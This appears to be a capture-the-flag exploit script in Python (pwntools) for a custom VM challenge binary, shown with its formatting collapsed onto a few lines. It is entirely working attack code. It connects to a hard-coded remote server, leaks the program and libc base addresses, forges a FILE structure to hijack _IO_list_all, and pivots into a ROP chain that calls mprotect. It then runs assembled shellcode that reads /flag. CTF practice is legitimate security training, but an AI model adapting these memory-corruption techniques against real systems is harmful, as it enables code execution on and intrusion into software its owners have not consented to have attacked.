1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225
| from pwn import * from rich.progress import track from iced_x86 import ( BlockEncoder, Code, Instruction as Inst, Register as Reg, MemoryOperand as MO, ) context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m' EXE = './na1vm' STW, LDW, ADD, SUB, PUSHW, PUSHWS, POPW, POPWS, LEA, RST = \ 0, 1, 2, 3, 8, 9, 10, 11, 16, 64
def payload(lo: int): global t if lo: t = process(EXE) libc = ELF('./libc.sys.debug') else: t = remote('1.95.217.9', 9000) libc = ELF('./libc.debug')
elf = ELF('./child')
def mkcode(imm: int, offset: int, r1: int, r2: int) -> int: return imm | (offset << 32) | (r1 << 48) | (r2 << 52)
def submit(op: int, imm: int, offset: int, r1: int, r2: int) -> int: t.sendline(b'1') t.recvuntil(b'$ \n') t.sendline(str(op).encode()) t.sendline(str(mkcode(imm, offset, r1, r2)).encode()) t.recvuntil(b'Execute result: ') return int(t.recvline())
def execute(count: int, free: bool=False) -> list[int]: t.sendline(b'2') if free: return [] results = [] for _ in range(count): t.recvuntil(b'Execute result: ') res = int(t.recvline()) if res & 0x8000000000000000: warn('Execute failed!') results.append(res) return results
if lo & 2: pause()
submit(STW, u32(b'\x00\x00\x8c\x00'), 0xffff, 0, 0) execute(1) submit(STW, 0, 0, 0, 0) submit(LEA, 0, 0, 1, 0) submit(RST, 0, 0, 0, 0) gbuf = execute(2)[0] pie_base = gbuf - 0x4060 elf.address = pie_base success(GOLD_TEXT(f'Leak pie_base: {pie_base:#x}'))
submit(STW, u32(b'\x00\x00\x8b\x00'), 0xffff, 0, 0) execute(1) submit(STW, elf.symbols['stderr'] + 4, 0, 0, 0) submit(POPW, 0, 0, 1, 1) submit(POPW, 0, 0, 2, 2) submit(RST, 0, 0, 0, 0) h32, l32, _ = execute(3) libc_base = ((h32 << 32) | l32) - libc.symbols['_IO_2_1_stderr_'] success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}')) libc.address = libc_base submit(PUSHW, 0, 0, 0, 0) submit(PUSHW, libc.symbols['_IO_2_1_stderr_'] & 0xffffffff, 0, 3, 3) submit(PUSHW, libc.symbols['_IO_2_1_stderr_'] >> 32, 0, 3, 3) for _ in range(6): submit(PUSHW, 0, 0, 0, 0) execute(9)
chain_addr = pie_base + 0x50a0 file_addr = pie_base + 0x5110 flag_addr = pie_base + 0x5200 shellcode_addr = pie_base + 0x5208
gadgets = ROP(libc) mov_rsp_rdx_ret = next(libc.search(b'H\x89\xd4\xc3', executable=True)) for gadget in libc.search(b'\x5c\xc3', executable=True): if gadget & 4 == 0: pop_rsp_ret = gadget pop_rdx_xor_eax = next(libc.search(b'Z1\xc0\xc3', executable=True)) info(f'Found stack pivot gadget: {mov_rsp_rdx_ret:#x}') info(f'Found leave gadget: {pop_rsp_ret:#x}') chain = flat( gadgets.rdi.address, chain_addr & ~0xfff, gadgets.rsi.address, 0x1000, pop_rdx_xor_eax, 7, libc.symbols['mprotect'], shellcode_addr, ) wfile_jumps_mmap = libc.symbols['__io_vtables'] + 6 * 168 forge_file = flat({ 0: 0, 8: 0, }, { 0: pop_rsp_ret, 8: chain_addr, 0x10: chain_addr + 1, 0x28: 1, 0x68: mov_rsp_rdx_ret, 0x88: file_addr - 0x18, 0xa0: file_addr - 0x10, 0xc0: -1, 0xd0: file_addr, 0xd8: wfile_jumps_mmap - 0x40, }, filler=b'\0')
def label(inst: Inst, l: int) -> Inst: inst.ip = l return inst
instrs = [ Inst.create_reg_i64(Code.MOV_R64_IMM64, Reg.RBX, pie_base + 0x1acc), Inst.create_reg_i64(Code.MOV_R64_IMM64, Reg.RDX, libc.symbols['current_rtmin']), Inst.create_mem_i32(Code.MOV_RM16_IMM16, MO(Reg.RDX), 0x22),
Inst.create_reg_i64(Code.MOV_R64_IMM64, Reg.RDI, flag_addr), Inst.create_reg_reg(Code.XOR_R32_RM32, Reg.ESI, Reg.ESI), Inst.create_reg_i32(Code.MOV_R32_IMM32, Reg.EAX, 2), Inst.create(Code.SYSCALL),
Inst.create_reg_i32(Code.ADD_RM64_IMM32, Reg.RDI, 0x1000), Inst.create_reg_reg(Code.MOV_R64_RM64, Reg.RSI, Reg.RDI), Inst.create_reg_i32(Code.MOV_R32_IMM32, Reg.EDX, 0x50), Inst.create_reg_reg(Code.MOV_R32_RM32, Reg.EDI, Reg.EAX), Inst.create_reg_i32(Code.MOV_R32_IMM32, Reg.EAX, 0), Inst.create(Code.SYSCALL),
Inst.create_reg_reg(Code.MOV_R64_RM64, Reg.R15, Reg.RSI), label(Inst.create_reg_mem(Code.MOVZX_R32_RM8, Reg.R14D, MO(Reg.R15)), 1), Inst.create_reg_i32(Code.ADD_RM64_IMM32, Reg.R15, 1), Inst.create_reg_reg(Code.MOV_R32_RM32, Reg.EDI, Reg.R14D), Inst.create_reg(Code.CALL_RM64, Reg.RBX), Inst.create_reg_reg(Code.TEST_RM32_R32, Reg.R14D, Reg.R14D), Inst.create_branch(Code.JNE_REL8_64, 1),
Inst.create_reg_i32(Code.MOV_R32_IMM32, Reg.EDI, 5), Inst.create_reg_i32(Code.MOV_R32_IMM32, Reg.EAX, 0x25), Inst.create(Code.SYSCALL),
Inst.create_reg_i32(Code.MOV_R32_IMM32, Reg.EAX, 0x22), Inst.create(Code.SYSCALL), Inst.create(Code.NOPQ), Inst.create(Code.NOPQ), ] encoder = BlockEncoder(64) encoder.add_many(instrs) shellcode = encoder.encode(0) blob = flat({ 0: chain, 0x60: forge_file, 0x160: b'/flag', 0x168: shellcode, }, filler=b'\0')
def send_blob(buf: bytes, offset: int): send_times = len(buf) // 4 for i in track(range(send_times), 'Sending the blob...'): submit(STW, u32(buf[4 * i : 4 * i + 4]), offset + 4 * i, 0, 0) if (i + 1) % 0x40 == 0: execute(0x40) if todo := send_times % 0x40: execute(todo)
send_blob(blob, 0x1040)
def decrease_stack(distance: int): times = distance >> 2 for i in track(range(times), 'Decreasing stack...'): submit(POPW, 0, 0, 0, 0) if (i + 1) % 0x40 == 0: execute(0x40) if todo := times % 0x40: execute(todo)
submit(STW, u32(b'\x00\x00\x8b\x00'), 0xffff, 0, 0) execute(1) submit(STW, libc.symbols['_IO_list_all'], 0, 0, 0) submit(PUSHW, file_addr & 0xffffffff, 0, 3, 3) submit(PUSHW, file_addr >> 32, 0, 3, 3) submit(RST, 0, 0, 0, 0) execute(3)
decrease_stack(libc.symbols['_IO_list_all'] + 8 - libc.symbols['current_rtmin']) submit(PUSHW, 0xffff, 0, 3, 3) execute(1, True)
flag = '' ch = 1 while ch: t.recvuntil(b'Execute result:') ch = int(t.recvline()) if 0x20 <= ch < 0x7f: flag += chr(ch)
success(f'Flag is: {flag}')
t.clean() t.close()
|